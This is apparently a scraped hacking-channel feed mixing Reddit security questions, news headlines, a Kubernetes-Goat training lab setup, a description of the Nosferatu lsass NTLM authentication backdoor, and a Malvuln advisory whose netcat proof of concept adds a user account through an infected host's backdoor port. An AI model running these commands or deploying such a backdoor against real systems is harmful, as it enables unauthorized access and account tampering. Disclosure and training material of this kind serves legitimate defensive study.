hacking: security in practice
What's Your Daily Source of Cybersecurity News?

What's your go-to source for all things malware, APT, and cyber related?

submitted by /u/Rebel_Ye11
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What jobs does a professional hacker get?

What's the pay and how do you go about getting these jobs?

submitted by /u/Sambar_Dosa
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Microsoft: macOS 'Powerdir' Flaw Could Enable Access to User Data

The vulnerability could allow an attacker to bypass the macOS Transparency, Consent, and Control measures to access a user's protected data.

Dark Reading: Attacks/Breaches
5 Things to Know About Next-Generation SIEM

NG-SIEM is emerging as a cloud- and analytics-driven alternative to legacy SIEMs. Based on new research, Omdia highlights five important new insights for anyone considering a NG-SIEM purchase.

Dark Reading: Attacks/Breaches
Why Security Awareness Training Should Begin in the C-Suite

It's not just the rights and privileges that CXOs have on the network. They can also set an example of what good security hygiene looks like.

Kali Linux Tutorials
Kubernetes-Goat : Is A “Vulnerable By Design” Kubernetes Cluster

Kubernetes-Goat is designed to be an intentionally vulnerable cluster environment to learn and practice Kubernetes security.

Setting Up Kubernetes Goat

Before we set up the Kubernetes Goat, ensure that you have created and have admin access to the Kubernetes cluster

kubectl version –short

Set up the helm version 2 in your path as helm2. Refer to helm releases for more information about setup

helm2 –help

Then finally setup Kubernetes Goat by running the following command

git clone https://github.com/madhuakula/kubernetes-goat.git
cd kubernetes-goat
bash setup-kubernetes-goat.sh

To export the ports/services locally to start learning, run the following command

bash access-kubernetes-goat.sh

Setting up Kubernetes Goat using KIND

If you want to set up the Kubernetes Goat using KIND (Kubernetes IN Docker), then follow the below steps

Make sure you have followed the pre-requisites as mentioned in the Kubernetes Goat. Also, you must have KIND installed and setup locally in your system.

* To setup the KIND cluster run the following command

bash setup-kind-cluster-and-goat.sh

Then to access the Kubernetes Goat locally, run the following command

bash access-kubernetes-goat.sh

To destroy the KIND cluster run the following command

bash teardown-cluster.sh
Download

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Nosferatu : Lsass NTLM Authentication Backdoor

Nosferatu is a Lsass NTLM Authentication Backdoor

How It Works

First, the DLL is injected into the lsass.exeprocess, and will begin hooking authentication WinAPI calls. The targeted function is MsvpPasswordValidate(), located in NtlmShared.dll. In the pursuit of not being detected, the hooked function will call the original function and allow for the normal flow of authentication. Only after seeing that authentication has failed will the hook swap out the actual NTLM hash with the backdoor hash for comparison.

Usage

Nosferatu must be compiled as a 64 bit DLL. It must be injected using the a DLL Injector with SeDebugPrivilege.
https://blogger.googleusercontent.com/img/a/AVvXsEj-e7FHSL_uXtmawCLkwvxLUhdswxJqLalTSKpkx2lMeq9ZSdQnM_QhUWohZFOkWm7AlN6qkuCbg62yUV4TsyzV87_18aub2dJ12aGyAvihngHt6e53vG2PAhJLDL3Q48d7wGSrKK8vIkvI_ogI6Ex4sHhivKF5qaY6XSoq-Gp5D_HdH1labt6M0bHm=s1508
You can see it loaded using Procexp:
https://blogger.googleusercontent.com/img/a/AVvXsEh3H0gLucrBHMqFiD0SEDk-OgwMV_11-Vqpt5HizEMY1_4Ha7R7lZhIN-TPbYBgh9BrecZSim8PHk7fG0EjfRMGWxtflLlo2GmpBfbvQZmn7kAju5s2vFnV4aU8KQEJC1SPMrsZw4x9QiKfa8GlOU5F5G9il5KVfHfOgYKThZgMXvE3H6yH8yeWS1Gh=s966
Login example using Impacket:
https://blogger.googleusercontent.com/img/a/AVvXsEhuXnbA5OFm9p0PUrbHZHzG_rkeWOTK8__09RRnbNDvJDP1jDKRrwILIzo0FFfUGf9viqyYbsTPdX44QjnnRjCVxJx4cUedqavrLPsDXIAdzflw6K2c9f_6fzgRxbrWAblkiGOKjVRWO3QlILT1CCmeprDEi4Dz2Z6KH5TvYa9ISqr1heOuNLdNwTIH=s2484

Download

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Controlit.10 Code Execution

https://4.bp.blogspot.com/-lQ2zJgiLTsU/WWlu34sMcWI/AAAAAAAAII4/mS7xceEZnmUYAvFeoaUiLc9JINHoDjNsACLcBGAs/s1600/h102.png
Backdoor.Win32.Controlit.10 malware suffers from a code execution vulnerability.

MD5 | c19a565f0b4dc9339610166d7747ab11

Download
Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/859aab793a42868343346163bd42f485.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Controlit.10
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 3347. Third-party attackers who can reach an infected system can run any OS commands made available by the malware further compromising the host.
Type: PE32
MD5: 859aab793a42868343346163bd42f485
Vuln ID: MVID-2022-0449
Disclosure: 01/10/2022

Exploit/PoC:
nc64.exe x.x.x.x 3347
Welcome to Control-it! Server.
Ready
HELP
Commands:
EXIT VERS LIST EXEC DELE RENM MKDR RMDR CHDR
WKDR UPLD DNLD SHDN REBT RELG HELP
Ready
EXEC net user HYP3RLINX 666 /add
Ready
EXEC calc
Ready
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Windows Defender / Detection Bypass

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Microsoft Windows .Reg File Dialog Spoofing / Mitigation Bypass

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How do I a route traffic through a VPN in Burp Suite using SoftEtherVPN?

I know that in order to use Burp Suite, you're required to set up a proxy in your browser as well as installing a root trust certificate from PA. However, I also want to test my website through a VPN, what I was hoping to achieve is to make a connection to the VPN via a HTTP proxy server as shown in this documentation: https://www.softether.org/4-docs/1-manual/4._SoftEther_VPN_Client_Manual/4.4_Making_Connection_to_VPN_Server

If you scroll down to 4.4.3, you can see an illustration of what I am hoping to achieve. However trying to connect to any VPN server via Burp Suite proxy keeps returning me with error code 2.

Perhaps I'm doing something wrong? I made sure to specify the proxy server information as instructed and tried connecting to one of the VPN provided in the list of public VPN servers provided by SoftEther.

submitted by /u/blueboy90780
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What often is used Metasploit Framework?

Hi, everyone!

So, the question is simply, what often is used Metasploit to exploit machines or to again access to a host. Recently I noticed that it has function (karmetasploit) that allowing everyone to fake a access point, capture password, etc. So in my view, Metasploit is so powerful, but is it really? Do all y'all use it?

submitted by /u/-Red_Shark
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
How we abused named pipes for smart-card hijacking, unauthorized file system access to client machines and more.

https://external-preview.redd.it/fS4mMsur777RUeN9RCmdyzb7bI72v1AoIgRIhtskqQI.jpg?width=640&crop=smart&auto=webp&s=9b5ec30453d40c40e2dc9ea2c1984310940eb963 submitted by /u/jat0369
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video